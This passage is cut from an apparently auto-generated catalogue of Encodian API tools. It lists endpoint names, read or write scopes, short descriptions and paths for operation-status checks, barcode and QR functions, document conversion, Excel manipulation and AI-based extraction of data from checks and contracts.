/api/v1/General/GetOperationStatusFileOnly GET /api/v1/encodian/api/v1/General/GetOperationStatusFileOnly. Scopes: api. encodian_get_api_v1_general_getoperationstatusgetemailinfo (read) — Get the operation status of the operation ID provided. via GET /api/v1/General/GetOperationStatusGetEmailInfo GET /api/v1/encodian/api/v1/General/GetOperationStatusGetEmailInfo. Scopes: api. encodian_get_api_v1_general_getoperationstatusmultiplefiles (read) — Get the operation status of the operation ID provided. via GET /api/v1/General/GetOperationStatusMultipleFiles GET /api/v1/encodian/api/v1/General/GetOperationStatusMultipleFiles. Scopes: api. encodian_get_api_v1_general_getoperationstatusstring (read) — Get the operation status of the operation ID provided. via GET /api/v1/General/GetOperationStatusString GET /api/v1/encodian/api/v1/General/GetOperationStatusString. Scopes: api. encodian_get_api_v1_general_getsubscriptionstatus (read) — Get the the status of your Flowr / Vertr Encodian Subscription - https://support.encodian.com/hc/en-gb/articles/360010176717-Get-Subscription-Status via GET /api/v1/General/GetSubscriptionStatus GET /api/v1/encodian/api/v1/General/GetSubscriptionStatus. Scopes: api. encodian_get_api_v1_image_getdynamicschemacropimage (read) — Provides the dynamic schema for the Crop Image action. via GET /api/v1/Image/GetDynamicSchemaCropImage GET /api/v1/encodian/api/v1/Image/GetDynamicSchemaCropImage. Scopes: api. encodian_get_api_v1_image_getoperationstatus (read) — Get the operation status for the operation ID provided. via GET /api/v1/Image/GetOperationStatus GET /api/v1/encodian/api/v1/Image/GetOperationStatus. Scopes: api. encodian_get_api_v1_image_getoperationstatuschd (read) — Get the operation status of for the CHD operation ID provided. via GET /api/v1/Image/GetOperationStatusChd GET /api/v1/encodian/api/v1/Image/GetOperationStatusChd. Scopes: api. encodian_get_api_v1_image_getoperationstatusextractimage (read) — Get the operation status of the operation ID provided. via GET /api/v1/Image/GetOperationStatusExtractImage GET /api/v1/encodian/api/v1/Image/GetOperationStatusExtractImage. Scopes: api. encodian_get_api_v1_image_getoperationstatusfileonly (read) — Retrieve the operation status for a file only operation for the Operation ID provided via GET /api/v1/Image/GetOperationStatusFileOnly GET /api/v1/encodian/api/v1/Image/GetOperationStatusFileOnly. Scopes: api. encodian_get_api_v1_image_getoperationstatusgetimageinfo (read) — Get the operation status of the operation ID provided. via GET /api/v1/Image/GetOperationStatusGetImageInfo GET /api/v1/encodian/api/v1/Image/GetOperationStatusGetImageInfo. Scopes: api. encodian_get_api_v1_image_getoperationstatusimageextracttext (read) — Get the operation status of the operation ID provided. via GET /api/v1/Image/GetOperationStatusImageExtractText GET /api/v1/encodian/api/v1/Image/GetOperationStatusImageExtractText. Scopes: api. encodian_get_api_v1_image_getoperationstatusmultiplefiles (read) — Get the operation status of the operation ID provided. via GET /api/v1/Image/GetOperationStatusMultipleFiles GET /api/v1/encodian/api/v1/Image/GetOperationStatusMultipleFiles. Scopes: api. encodian_get_api_v1_pdf_getdynamicschemasignpdf (read) — Provides the dynamic schema for the Sign PDF action. via GET /api/v1/PDF/GetDynamicSchemaSignPdf GET /api/v1/encodian/api/v1/PDF/GetDynamicSchemaSignPdf. Scopes: api. encodian_get_api_v1_pdf_getoperationstatus (read) — Get the operation status for the operation ID provided. via GET /api/v1/PDF/GetOperationStatus GET /api/v1/encodian/api/v1/PDF/GetOperationStatus. Scopes: api. encodian_get_api_v1_pdf_getoperationstatusaddwatermark (read) — Get the operation status of the operation ID provided. via GET /api/v1/PDF/GetOperationStatusAddWatermark GET /api/v1/encodian/api/v1/PDF/GetOperationStatusAddWatermark. Scopes: api. encodian_get_api_v1_pdf_getoperationstatusaddwatermarkfileonly (read) — Get the operation status of the operation ID provided. via GET /api/v1/PDF/GetOperationStatusAddWatermarkFileOnly GET /api/v1/encodian/api/v1/PDF/GetOperationStatusAddWatermarkFileOnly. Scopes: api. encodian_get_api_v1_pdf_getoperationstatuschd (read) — Get the operation status of for the CHD operation ID provided. via GET /api/v1/PDF/GetOperationStatusChd GET /api/v1/encodian/api/v1/PDF/GetOperationStatusChd. Scopes: api. encodian_get_api_v1_pdf_getoperationstatusextractimage (read) — Get the operation status of the operation ID provided. via GET /api/v1/PDF/GetOperationStatusExtractImage GET /api/v1/encodian/api/v1/PDF/GetOperationStatusExtractImage. Scopes: api. encodian_get_api_v1_pdf_getoperationstatusextracttextregion (read) — Retrieve the operation status of an ExtractTextRegion operation for the Operation ID provided. via GET /api/v1/PDF/GetOperationStatusExtractTextRegion GET /api/v1/encodian/api/v1/PDF/GetOperationStatusExtractTextRegion. Scopes: api. encodian_get_api_v1_pdf_getoperationstatusfileonly (read) — Retrieve the operation status for a file only operation for the Operation ID provided via GET /api/v1/PDF/GetOperationStatusFileOnly GET /api/v1/encodian/api/v1/PDF/GetOperationStatusFileOnly. Scopes: api. encodian_get_api_v1_pdf_getoperationstatusgetpdfdocumentinfo (read) — Get the operation status of the operation ID provided. via GET /api/v1/PDF/GetOperationStatusGetPdfDocumentInfo GET /api/v1/encodian/api/v1/PDF/GetOperationStatusGetPdfDocumentInfo. Scopes: api. encodian_get_api_v1_pdf_getoperationstatusgetpdfformdata (read) — Retrieve the operation status of a GetPdfFormData operation for the Operation ID provided. via GET /api/v1/PDF/GetOperationStatusGetPdfFormData GET /api/v1/encodian/api/v1/PDF/GetOperationStatusGetPdfFormData. Scopes: api. encodian_get_api_v1_pdf_getoperationstatusgetpdftextlayer (read) — Retrieve the operation status of a GetPdfTextLayer operation for the Operation ID provided. via GET /api/v1/PDF/GetOperationStatusGetPdfTextLayer GET /api/v1/encodian/api/v1/PDF/GetOperationStatusGetPdfTextLayer. Scopes: api. encodian_get_api_v1_pdf_getoperationstatusmultiplefiles (read) — Get the operation status of the operation ID provided. via GET /api/v1/PDF/GetOperationStatusMultipleFiles GET /api/v1/encodian/api/v1/PDF/GetOperationStatusMultipleFiles. Scopes: api. encodian_get_api_v1_pdf_getoperationstatuspdfcheckpassword (read) — Get the operation status of the operation ID provided. via GET /api/v1/PDF/GetOperationStatusPdfCheckPassword GET /api/v1/encodian/api/v1/PDF/GetOperationStatusPdfCheckPassword. Scopes: api. encodian_get_api_v1_pdf_getoperationstatuspdfextracttextbypage (read) — Get the operation status of the operation ID provided. via GET /api/v1/PDF/GetOperationStatusPdfExtractTextByPage GET /api/v1/encodian/api/v1/PDF/GetOperationStatusPdfExtractTextByPage. Scopes: api. encodian_get_api_v1_pdf_getoperationstatuspdfsplitbarcode (read) — Get the operation status of the operation ID provided. via GET /api/v1/PDF/GetOperationStatusPdfSplitBarcode GET /api/v1/encodian/api/v1/PDF/GetOperationStatusPdfSplitBarcode. Scopes: api. encodian_get_api_v1_pdf_getoperationstatussplitdocument (read) — Get the operation status of the operation ID provided. via GET /api/v1/PDF/GetOperationStatusSplitDocument GET /api/v1/encodian/api/v1/PDF/GetOperationStatusSplitDocument. Scopes: api. encodian_get_api_v1_pdf_getoperationstatusstring (read) — Get the operation status of the operation ID provided. via GET /api/v1/PDF/GetOperationStatusString GET /api/v1/encodian/api/v1/PDF/GetOperationStatusString. Scopes: api. encodian_get_api_v1_pdf_getoperationstatusvalidatepdftextlayer (read) — Get the operation status of the operation ID provided. via GET /api/v1/PDF/GetOperationStatusValidatePdfTextLayer GET /api/v1/encodian/api/v1/PDF/GetOperationStatusValidatePdfTextLayer. Scopes: api. encodian_get_api_v1_powerpoint_getoperationstatus (read) — Get the operation status for the operation ID provided. via GET /api/v1/PowerPoint/GetOperationStatus GET /api/v1/encodian/api/v1/PowerPoint/GetOperationStatus. Scopes: api. encodian_get_api_v1_powerpoint_getoperationstatuschd (read) — Get the operation status of for the CHD operation ID provided. via GET /api/v1/PowerPoint/GetOperationStatusChd GET /api/v1/encodian/api/v1/PowerPoint/GetOperationStatusChd. Scopes: api. encodian_get_api_v1_powerpoint_getoperationstatusfileonly (read) — Retrieve the operation status for a file only operation for the Operation ID provided via GET /api/v1/PowerPoint/GetOperationStatusFileOnly GET /api/v1/encodian/api/v1/PowerPoint/GetOperationStatusFileOnly. Scopes: api. encodian_get_api_v1_powerpoint_getoperationstatusmultiplefiles (read) — Get the operation status of the operation ID provided. via GET /api/v1/PowerPoint/GetOperationStatusMultipleFiles GET /api/v1/encodian/api/v1/PowerPoint/GetOperationStatusMultipleFiles. Scopes: api. encodian_get_api_v1_powerpoint_getoperationstatussplitdocument (read) — Get the operation status of the operation ID provided. via GET /api/v1/PowerPoint/GetOperationStatusSplitDocument GET /api/v1/encodian/api/v1/PowerPoint/GetOperationStatusSplitDocument. Scopes: api. encodian_get_api_v1_trigr_gettrigrsubscriptionstatus (read) — Get the the status of your Encodian Subscription - https://support.encodian.com/hc/en-gb/articles/7297080207133 via GET /api/v1/Trigr/GetTrigrSubscriptionStatus GET /api/v1/encodian/api/v1/Trigr/GetTrigrSubscriptionStatus. Scopes: api. encodian_get_api_v1_utilities_getdynamicschemasendhttprequest (read) — Provides the dynamic schema for the 'Utility - HTTP Request' action via GET /api/v1/Utilities/GetDynamicSchemaSendHttpRequest GET /api/v1/encodian/api/v1/Utilities/GetDynamicSchemaSendHttpRequest. Scopes: api. encodian_get_api_v1_utilities_getoperationstatus (read) — Get the operation status for the operation ID provided. via GET /api/v1/Utilities/GetOperationStatus GET /api/v1/encodian/api/v1/Utilities/GetOperationStatus. Scopes: api. encodian_get_api_v1_utilities_getoperationstatuschd (read) — Get the operation status of for the CHD operation ID provided. via GET /api/v1/Utilities/GetOperationStatusChd GET /api/v1/encodian/api/v1/Utilities/GetOperationStatusChd. Scopes: api. encodian_get_api_v1_utilities_getoperationstatuscreatehashcode (read) — Retrieve the operation status of a CreateHashCode operation for the Operation ID provided. via GET /api/v1/Utilities/GetOperationStatusCreateHashCode GET /api/v1/encodian/api/v1/Utilities/GetOperationStatusCreateHashCode. Scopes: api. encodian_get_api_v1_utilities_getoperationstatuscreatehmac (read) — Retrieve the operation status of a CreateHMAC operation for the Operation ID provided. via GET /api/v1/Utilities/GetOperationStatusCreateHMAC GET /api/v1/encodian/api/v1/Utilities/GetOperationStatusCreateHMAC. Scopes: api. encodian_get_api_v1_utilities_getoperationstatusfileonly (read) — Retrieve the operation status for a file only operation for the Operation ID provided via GET /api/v1/Utilities/GetOperationStatusFileOnly GET /api/v1/encodian/api/v1/Utilities/GetOperationStatusFileOnly. Scopes: api. encodian_get_api_v1_utilities_getoperationstatusmultiplefiles (read) — Get the operation status of the operation ID provided. via GET /api/v1/Utilities/GetOperationStatusMultipleFiles GET /api/v1/encodian/api/v1/Utilities/GetOperationStatusMultipleFiles. Scopes: api. encodian_get_api_v1_utilities_getoperationstatusregexsearchtext (read) — Retrieve the operation status of a RegexSearchText operation for the Operation ID provided. via GET /api/v1/Utilities/GetOperationStatusRegexSearchText GET /api/v1/encodian/api/v1/Utilities/GetOperationStatusRegexSearchText. Scopes: api. encodian_get_api_v1_utilities_getoperationstatusutilitybool (read) — Retrieve the operation status of a Utility (Boolean) operation for the Operation ID provided. via GET /api/v1/Utilities/GetOperationStatusUtilityBool GET /api/v1/encodian/api/v1/Utilities/GetOperationStatusUtilityBool. Scopes: api. encodian_get_api_v1_utilities_getoperationstatusutilityint (read) — Retrieve the operation status of a Utility (int) operation for the Operation ID provided. via GET /api/v1/Utilities/GetOperationStatusUtilityInt GET /api/v1/encodian/api/v1/Utilities/GetOperationStatusUtilityInt. Scopes: api. encodian_get_api_v1_utilities_getoperationstatusutilitystring (read) — Retrieve the operation status of a Utility (String) operation for the Operation ID provided. via GET /api/v1/Utilities/GetOperationStatusUtilityString GET /api/v1/encodian/api/v1/Utilities/GetOperationStatusUtilityString. Scopes: api. encodian_get_api_v1_utilities_getoperationstatusutilitystringarray (read) — Retrieve the operation status of a Utility (StringArray) operation for the Operation ID provided. via GET /api/v1/Utilities/GetOperationStatusUtilityStringArray GET /api/v1/encodian/api/v1/Utilities/GetOperationStatusUtilityStringArray. Scopes: api. encodian_get_api_v1_word_getdynamicschemawordinserttext (read) — Provides the dynamic schema for the 'Word - Insert Text' action via GET /api/v1/Word/GetDynamicSchemaWordInsertText GET /api/v1/encodian/api/v1/Word/GetDynamicSchemaWordInsertText. Scopes: api. encodian_get_api_v1_word_getoperationstatus (read) — Get the operation status for the operation ID provided. via GET /api/v1/Word/GetOperationStatus GET /api/v1/encodian/api/v1/Word/GetOperationStatus. Scopes: api. encodian_get_api_v1_word_getoperationstatuschd (read) — Get the operation status of for the CHD operation ID provided. via GET /api/v1/Word/GetOperationStatusChd GET /api/v1/encodian/api/v1/Word/GetOperationStatusChd. Scopes: api. encodian_get_api_v1_word_getoperationstatusextractimage (read) — Get the operation status of the operation ID provided. via GET /api/v1/Word/GetOperationStatusExtractImage GET /api/v1/encodian/api/v1/Word/GetOperationStatusExtractImage. Scopes: api. encodian_get_api_v1_word_getoperationstatusfileonly (read) — Retrieve the operation status for a file only operation for the Operation ID provided via GET /api/v1/Word/GetOperationStatusFileOnly GET /api/v1/encodian/api/v1/Word/GetOperationStatusFileOnly. Scopes: api. encodian_get_api_v1_word_getoperationstatusgettextfromword (read) — Retrieve the operation status of a GetTextFromWord operation for the Operation ID provided. via GET /api/v1/Word/GetOperationStatusGetTextFromWord GET /api/v1/encodian/api/v1/Word/GetOperationStatusGetTextFromWord. Scopes: api. encodian_get_api_v1_word_getoperationstatusgettrackedchanges (read) — Retrieve the operation status of a GetTrackedChanges operation for the Operation ID provided. via GET /api/v1/Word/GetOperationStatusGetTrackedChanges GET /api/v1/encodian/api/v1/Word/GetOperationStatusGetTrackedChanges. Scopes: api. encodian_get_api_v1_word_getoperationstatusgetwordinfo (read) — Get the operation status of the operation ID provided. via GET /api/v1/Word/GetOperationStatusGetWordInfo GET /api/v1/encodian/api/v1/Word/GetOperationStatusGetWordInfo. Scopes: api. encodian_get_api_v1_word_getoperationstatusmultiplefiles (read) — Get the operation status of the operation ID provided. via GET /api/v1/Word/GetOperationStatusMultipleFiles GET /api/v1/encodian/api/v1/Word/GetOperationStatusMultipleFiles. Scopes: api. encodian_get_api_v1_word_getoperationstatussplitdocument (read) — Get the operation status of the operation ID provided. via GET /api/v1/Word/GetOperationStatusSplitDocument GET /api/v1/encodian/api/v1/Word/GetOperationStatusSplitDocument. Scopes: api. encodian_get_api_v1_word_getoperationstatuswordextractfielddata (read) — Get the operation status of the operation ID provided. via GET /api/v1/Word/GetOperationStatusWordExtractFieldData GET /api/v1/encodian/api/v1/Word/GetOperationStatusWordExtractFieldData. Scopes: api. encodian_post_api_v1_barcodes_aibarcoderead (write) — Read barcode(s) from the file provided using AI - https://support.encodian.com/hc/en-gb/articles/26972141511196 via POST /api/v1/Barcodes/AIBarcodeRead POST /api/v1/encodian/api/v1/Barcodes/AIBarcodeRead. Scopes: api. encodian_post_api_v1_barcodes_createbarcode (write) — Create a Barcode in the specified image format - https://support.encodian.com/hc/en-gb/articles/360006165457 via POST /api/v1/Barcodes/CreateBarcode POST /api/v1/encodian/api/v1/Barcodes/CreateBarcode. Scopes: api. encodian_post_api_v1_barcodes_createqrcode (write) — Create a QR code in the specified image format - https://support.encodian.com/hc/en-gb/articles/360005178237 via POST /api/v1/Barcodes/CreateQrCode POST /api/v1/encodian/api/v1/Barcodes/CreateQrCode. Scopes: api. encodian_post_api_v1_barcodes_createswissqrcode (write) — Create a Swiss QR code in the specified image format - https://support.encodian.com/hc/en-gb/articles/22209145105052 via POST /api/v1/Barcodes/CreateSwissQrCode POST /api/v1/encodian/api/v1/Barcodes/CreateSwissQrCode. Scopes: api. encodian_post_api_v1_barcodes_readbarcodefromdocument (write) — Read barcode(s) from the document provided - https://support.encodian.com/hc/en-gb/articles/360006170938 via POST /api/v1/Barcodes/ReadBarcodeFromDocument POST /api/v1/encodian/api/v1/Barcodes/ReadBarcodeFromDocument. Scopes: api. encodian_post_api_v1_barcodes_readbarcodefromimage (write) — Read a barcode from the image provided - https://support.encodian.com/hc/en-gb/articles/360006170918 via POST /api/v1/Barcodes/ReadBarcodeFromImage POST /api/v1/encodian/api/v1/Barcodes/ReadBarcodeFromImage. Scopes: api. encodian_post_api_v1_barcodes_readqrcodefromdocument (write) — Read a QR code(s) from the document provided - https://support.encodian.com/hc/en-gb/articles/360006165437 via POST /api/v1/Barcodes/ReadQrCodeFromDocument POST /api/v1/encodian/api/v1/Barcodes/ReadQrCodeFromDocument. Scopes: api. encodian_post_api_v1_barcodes_readqrcodefromimage (write) — Read a QR code from the image provided - https://support.encodian.com/hc/en-gb/articles/360006170898 via POST /api/v1/Barcodes/ReadQrCodeFromImage POST /api/v1/encodian/api/v1/Barcodes/ReadQrCodeFromImage. Scopes: api. encodian_post_api_v1_barcodes_readswissqrcodefromimage (write) — Read a Swiss QR code from the image provided - https://support.encodian.com/hc/en-gb/articles/22624743460892 via POST /api/v1/Barcodes/ReadSwissQrCodeFromImage POST /api/v1/encodian/api/v1/Barcodes/ReadSwissQrCodeFromImage. Scopes: api. encodian_post_api_v1_barcodes_readswissqrcodesfromdocument (write) — Read the Swiss QR codes from the document provided - https://support.encodian.com/hc/en-gb/articles/23404516960668 via POST /api/v1/Barcodes/ReadSwissQrCodesFromDocument POST /api/v1/encodian/api/v1/Barcodes/ReadSwissQrCodesFromDocument. Scopes: api. encodian_post_api_v1_conversion_basicconversion (write) — Convert a document to PDF or PDF/A format - https://support.encodian.com/hc/en-gb/articles/360011123574 via POST /api/v1/Conversion/BasicConversion POST /api/v1/encodian/api/v1/Conversion/BasicConversion. Scopes: api. encodian_post_api_v1_conversion_convertcad (write) — Convert CAD files to another document format - https://support.encodian.com/hc/en-gb/articles/4542607350417 via POST /api/v1/Conversion/ConvertCad POST /api/v1/encodian/api/v1/Conversion/ConvertCad. Scopes: api. encodian_post_api_v1_conversion_convertexcel (write) — Convert Microsoft Excel documents to another document format - https://support.encodian.com/hc/en-gb/articles/360011804178 via POST /api/v1/Conversion/ConvertExcel POST /api/v1/encodian/api/v1/Conversion/ConvertExcel. Scopes: api. encodian_post_api_v1_conversion_convertheictopdf (write) — Convert a HEIC image file to PDF format - https://support.encodian.com/hc/en-gb/articles/18068082274716 via POST /api/v1/Conversion/ConvertHeicToPdf POST /api/v1/encodian/api/v1/Conversion/ConvertHeicToPdf. Scopes: api. encodian_post_api_v1_conversion_convertimagetopdf (write) — Convert the image provided to a PDF document - https://support.encodian.com/hc/en-gb/articles/23601928355228 via POST /api/v1/Conversion/ConvertImageToPdf POST /api/v1/encodian/api/v1/Conversion/ConvertImageToPdf. Scopes: api. encodian_post_api_v1_conversion_convertjsontoexcel (write) — Convert JSON into a Microsft Excel file - https://support.encodian.com/hc/en-gb/articles/7690520790045 via POST /api/v1/Conversion/ConvertJsonToExcel POST /api/v1/encodian/api/v1/Conversion/ConvertJsonToExcel. Scopes: api. encodian_post_api_v1_conversion_convertmailmessage (write) — Convert an email and attachments to a single PDF document - https://support.encodian.com/hc/en-gb/articles/360011566298 via POST /api/v1/Conversion/ConvertMailMessage POST /api/v1/encodian/api/v1/Conversion/ConvertMailMessage. Scopes: api. encodian_post_api_v1_conversion_convertpdftoexcel (write) — Convert a PDF document to a Microsoft Excel file (XLSX) - https://support.encodian.com/hc/en-gb/articles/17011591184284 via POST /api/v1/Conversion/ConvertPdfToExcel POST /api/v1/encodian/api/v1/Conversion/ConvertPdfToExcel. Scopes: api. encodian_post_api_v1_conversion_convertpdftoimages (write) — Convert a PDF document into an array of images (PNG or JPG) - https://support.encodian.com/hc/en-gb/articles/4418101623441 via POST /api/v1/Conversion/ConvertPdfToImages POST /api/v1/encodian/api/v1/Conversion/ConvertPdfToImages. Scopes: api. encodian_post_api_v1_conversion_convertpdftojpg (write) — Convert a PDF document to a JPG - https://support.encodian.com/hc/en-gb/articles/11096881397277 via POST /api/v1/Conversion/ConvertPdfToJpg POST /api/v1/encodian/api/v1/Conversion/ConvertPdfToJpg. Scopes: api. encodian_post_api_v1_conversion_convertpdftopng (write) — Convert a PDF document to a PNG - https://support.encodian.com/hc/en-gb/articles/10086003836701 via POST /api/v1/Conversion/ConvertPdfToPng POST /api/v1/encodian/api/v1/Conversion/ConvertPdfToPng. Scopes: api. encodian_post_api_v1_conversion_convertpdftotiff (write) — Convert a PDF document to TIFF (tiff) format - https://support.encodian.com/hc/en-gb/articles/4418024925457 via POST /api/v1/Conversion/ConvertPdfToTiff POST /api/v1/encodian/api/v1/Conversion/ConvertPdfToTiff. Scopes: api. encodian_post_api_v1_conversion_convertpdftoword (write) — Convert a PDF document to Microsoft Word (docx) format - https://support.encodian.com/hc/en-gb/articles/360027229294 via POST /api/v1/Conversion/ConvertPdfToWord POST /api/v1/encodian/api/v1/Conversion/ConvertPdfToWord. Scopes: api. encodian_post_api_v1_conversion_convertpowerpoint (write) — Convert Microsoft PowerPoint documents to another document format - https://support.encodian.com/hc/en-gb/articles/360015879777 via POST /api/v1/Conversion/ConvertPowerPoint POST /api/v1/encodian/api/v1/Conversion/ConvertPowerPoint. Scopes: api. encodian_post_api_v1_conversion_converttopdfa (write) — Convert a PDF document to PDF/A format - https://support.encodian.com/hc/en-gb/articles/360010578413 via POST /api/v1/Conversion/ConvertToPdfA POST /api/v1/encodian/api/v1/Conversion/ConvertToPdfA. Scopes: api. encodian_post_api_v1_conversion_convertvisio (write) — Convert Microsoft Visio documents to another document format - https://support.encodian.com/hc/en-gb/articles/5306216347665 via POST /api/v1/Conversion/ConvertVisio POST /api/v1/encodian/api/v1/Conversion/ConvertVisio. Scopes: api. encodian_post_api_v1_conversion_convertword (write) — Convert Microsoft Word documents to another document format - https://support.encodian.com/hc/en-gb/articles/360015616117 via POST /api/v1/Conversion/ConvertWord POST /api/v1/encodian/api/v1/Conversion/ConvertWord. Scopes: api. encodian_post_api_v1_conversion_htmltoimage (write) — Convert the HTML or Web URL provided to an image of the specified format - https://support.encodian.com/hc/en-gb/articles/13961998920732 via POST /api/v1/Conversion/HtmlToImage POST /api/v1/encodian/api/v1/Conversion/HtmlToImage. Scopes: api. encodian_post_api_v1_conversion_htmltopdf (write) — Convert the HTML or Web URL provided to a PDF document - https://support.encodian.com/hc/en-gb/articles/360022205154 via POST /api/v1/Conversion/HtmlToPDF POST /api/v1/encodian/api/v1/Conversion/HtmlToPDF. Scopes: api. encodian_post_api_v1_conversion_htmltopdfv2 (write) — Convert the HTML or Web URL provided to a PDF document - https://support.encodian.com/hc/en-gb/articles/16421778005020 via POST /api/v1/Conversion/HtmlToPDFV2 POST /api/v1/encodian/api/v1/Conversion/HtmlToPDFV2. Scopes: api. encodian_post_api_v1_conversion_htmltoword (write) — Convert the HTML or Web URL provided to a Microsoft Word document - https://support.encodian.com/hc/en-gb/articles/360011823213 via POST /api/v1/Conversion/HtmlToWord POST /api/v1/encodian/api/v1/Conversion/HtmlToWord. Scopes: api. encodian_post_api_v1_conversion_texttopdf (write) — Convert the text provided to a PDF document - https://support.encodian.com/hc/en-gb/articles/360011683054 via POST /api/v1/Conversion/TextToPDF POST /api/v1/encodian/api/v1/Conversion/TextToPDF. Scopes: api. encodian_post_api_v1_conversion_wordtopdfform (write) — Convert the Word document provided Microsoft Word document (Legacy Form Controls Only) to a PDF form document - https://support.encodian.com/hc/en-gb/articles/360012307133 via POST /api/v1/Conversion/WordToPdfForm POST /api/v1/encodian/api/v1/Conversion/WordToPdfForm. Scopes: api. encodian_post_api_v1_excel_addrowstoexcel (write) — Add rows to the Excel file provided - https://support.encodian.com/hc/en-gb/articles/11551842583581 via POST /api/v1/Excel/AddRowsToExcel POST /api/v1/encodian/api/v1/Excel/AddRowsToExcel. Scopes: api. encodian_post_api_v1_excel_deleteexcelworksheets (write) — Delete specified worksheets from the Excel file provided - https://support.encodian.com/hc/en-gb/articles/13233342312220 via POST /api/v1/Excel/DeleteExcelWorksheets POST /api/v1/encodian/api/v1/Excel/DeleteExcelWorksheets. Scopes: api. encodian_post_api_v1_excel_deleterowsfromexcel (write) — Delete rows from the Excel file provided - https://support.encodian.com/hc/en-gb/articles/9936160309148 via POST /api/v1/Excel/DeleteRowsFromExcel POST /api/v1/encodian/api/v1/Excel/DeleteRowsFromExcel. Scopes: api. encodian_post_api_v1_excel_exceladdimageheaderorfooter (write) — Add an image header or footer to a Microsoft Excel file - https://support.encodian.com/hc/en-gb/articles/14909213525404 via POST /api/v1/Excel/ExcelAddImageHeaderOrFooter POST /api/v1/encodian/api/v1/Excel/ExcelAddImageHeaderOrFooter. Scopes: api. encodian_post_api_v1_excel_exceladdtextheadersandfooters (write) — Add text header or footer to a Microsoft Excel file - https://support.encodian.com/hc/en-gb/articles/14938826111260 via POST /api/v1/Excel/ExcelAddTextHeadersAndFooters POST /api/v1/encodian/api/v1/Excel/ExcelAddTextHeadersAndFooters. Scopes: api. encodian_post_api_v1_excel_excelremoveheadersandfooters (write) — Remove headers and footers from a Microsoft Excel file - https://support.encodian.com/hc/en-gb/articles/14943764511900 via POST /api/v1/Excel/ExcelRemoveHeadersAndFooters POST /api/v1/encodian/api/v1/Excel/ExcelRemoveHeadersAndFooters. Scopes: api. encodian_post_api_v1_excel_excelrenameworksheets (write) — Rename worksheets contained within the Excel file provided - https://support.encodian.com/hc/en-gb/articles/27459072621084 via POST /api/v1/Excel/ExcelRenameWorksheets POST /api/v1/encodian/api/v1/Excel/ExcelRenameWorksheets. Scopes: api. encodian_post_api_v1_excel_excelreplacetext (write) — Find and replace text contained within a Microsoft Excel file - https://support.encodian.com/hc/en-gb/articles/16811169514652 via POST /api/v1/Excel/ExcelReplaceText POST /api/v1/encodian/api/v1/Excel/ExcelReplaceText. Scopes: api. encodian_post_api_v1_excel_excelseparateworksheets (write) — Splits worksheets into individual files from the Excel file provided - https://support.encodian.com/hc/en-gb/articles/21049256666908 via POST /api/v1/Excel/ExcelSeparateWorksheets POST /api/v1/encodian/api/v1/Excel/ExcelSeparateWorksheets. Scopes: api. encodian_post_api_v1_excel_excelwatermarktext (write) — Add a text watermark to a Microsoft Excel file - https://support.encodian.com/hc/en-gb/articles/14428316059420 via POST /api/v1/Excel/ExcelWatermarkText POST /api/v1/encodian/api/v1/Excel/ExcelWatermarkText. Scopes: api. encodian_post_api_v1_excel_excelwatermarktextremove (write) — Remove text watermark(s) from a Microsoft Excel file - https://support.encodian.com/hc/en-gb/articles/14449860203548 via POST /api/v1/Excel/ExcelWatermarkTextRemove POST /api/v1/encodian/api/v1/Excel/ExcelWatermarkTextRemove. Scopes: api. encodian_post_api_v1_excel_extractexcelworksheets (write) — Extract specified worksheets from the Excel file provided - https://support.encodian.com/hc/en-gb/articles/13230802892316 via POST /api/v1/Excel/ExtractExcelWorksheets POST /api/v1/encodian/api/v1/Excel/ExtractExcelWorksheets. Scopes: api. encodian_post_api_v1_excel_getrowsfromexcel (write) — Extract rows from the Excel file provided - https://support.encodian.com/hc/en-gb/articles/9390845334172 via POST /api/v1/Excel/GetRowsFromExcel POST /api/v1/encodian/api/v1/Excel/GetRowsFromExcel. Scopes: api. encodian_post_api_v1_excel_mergearrayofexceldocuments (write) — Merge an array of Microsoft Excel files to a single file (multiple formats) - https://support.encodian.com/hc/en-gb/articles/4469865776529 via POST /api/v1/Excel/MergeArrayOfExcelDocuments POST /api/v1/encodian/api/v1/Excel/MergeArrayOfExcelDocuments. Scopes: api. encodian_post_api_v1_excel_mergeexcelrows (write) — Merge the rows contained within Excel files provided into a single worksheet - https://support.encodian.com/hc/en-gb/articles/11345445953820 via POST /api/v1/Excel/MergeExcelRows POST /api/v1/encodian/api/v1/Excel/MergeExcelRows. Scopes: api. encodian_post_api_v1_excel_parsecsv (write) — Parse CSV and return the extracted data in JSON format - https://support.encodian.com/hc/en-gb/articles/360005177297-Parse-CSV via POST /api/v1/Excel/ParseCsv POST /api/v1/encodian/api/v1/Excel/ParseCsv. Scopes: api. encodian_post_api_v1_excel_populateexcel (write) — Populate a Microsoft Excel workbook (XLSX) with the JSON data provided - https://support.encodian.com/hc/en-gb/articles/12736409527324 via POST /api/v1/Excel/PopulateExcel POST /api/v1/encodian/api/v1/Excel/PopulateExcel. Scopes: api. encodian_post_api_v1_excel_secureexcel (write) — Secure and protect a Microsoft Excel file - https://support.encodian.com/hc/en-gb/articles/14332917020188 via POST /api/v1/Excel/SecureExcel POST /api/v1/encodian/api/v1/Excel/SecureExcel. Scopes: api. encodian_post_api_v1_excel_unlockexcel (write) — Unlock / remove protection from the Excel file provided - https://support.encodian.com/hc/en-gb/articles/14358530634140 via POST /api/v1/Excel/UnlockExcel POST /api/v1/encodian/api/v1/Excel/UnlockExcel. Scopes: api. encodian_post_api_v1_excel_updaterowsinexcel (write) — Update the specified rows in the Excel file provided - https://support.encodian.com/hc/en-gb/articles/11205752671004 via POST /api/v1/Excel/UpdateRowsInExcel POST /api/v1/encodian/api/v1/Excel/UpdateRowsInExcel. Scopes: api. encodian_post_api_v1_general_addtozip (write) — Add the files provided to an archive (.zip) file - https://support.encodian.com/hc/en-gb/articles/360002674918-Add-to-Archive-ZIP via POST /api/v1/General/AddToZip POST /api/v1/encodian/api/v1/General/AddToZip. Scopes: api. encodian_post_api_v1_general_aiprocessbankcheckus (write) — Process a Bank Check (US) and extract data as a JSON object - https://support.encodian.com/hc/en-gb/articles/19806562595484 via POST /api/v1/General/AIProcessBankCheckUS POST /api/v1/encodian/api/v1/General/AIProcessBankCheckUS. Scopes: api. encodian_post_api_v1_general_aiprocessbankstatementus (write) — Process a Bank Statement (US) and extract data as a JSON object - https://support.encodian.com/hc/en-gb/articles/19807728511516 via POST /api/v1/General/AIProcessBankStatementUS POST /api/v1/encodian/api/v1/General/AIProcessBankStatementUS. Scopes: api. encodian_post_api_v1_general_aiprocesscontract (write) — Process a contract and extract data as a JSON object - https://support.encodian.com/hc/en-gb/articles/18583890798620 via POST /api/v1/General/AIProcessContract POST /api/v1/encodian/api/v1/General/AIProcessContract. Scopes: api. encodian_post_api_v1_general_aiprocesscreditcard (write) — Process a 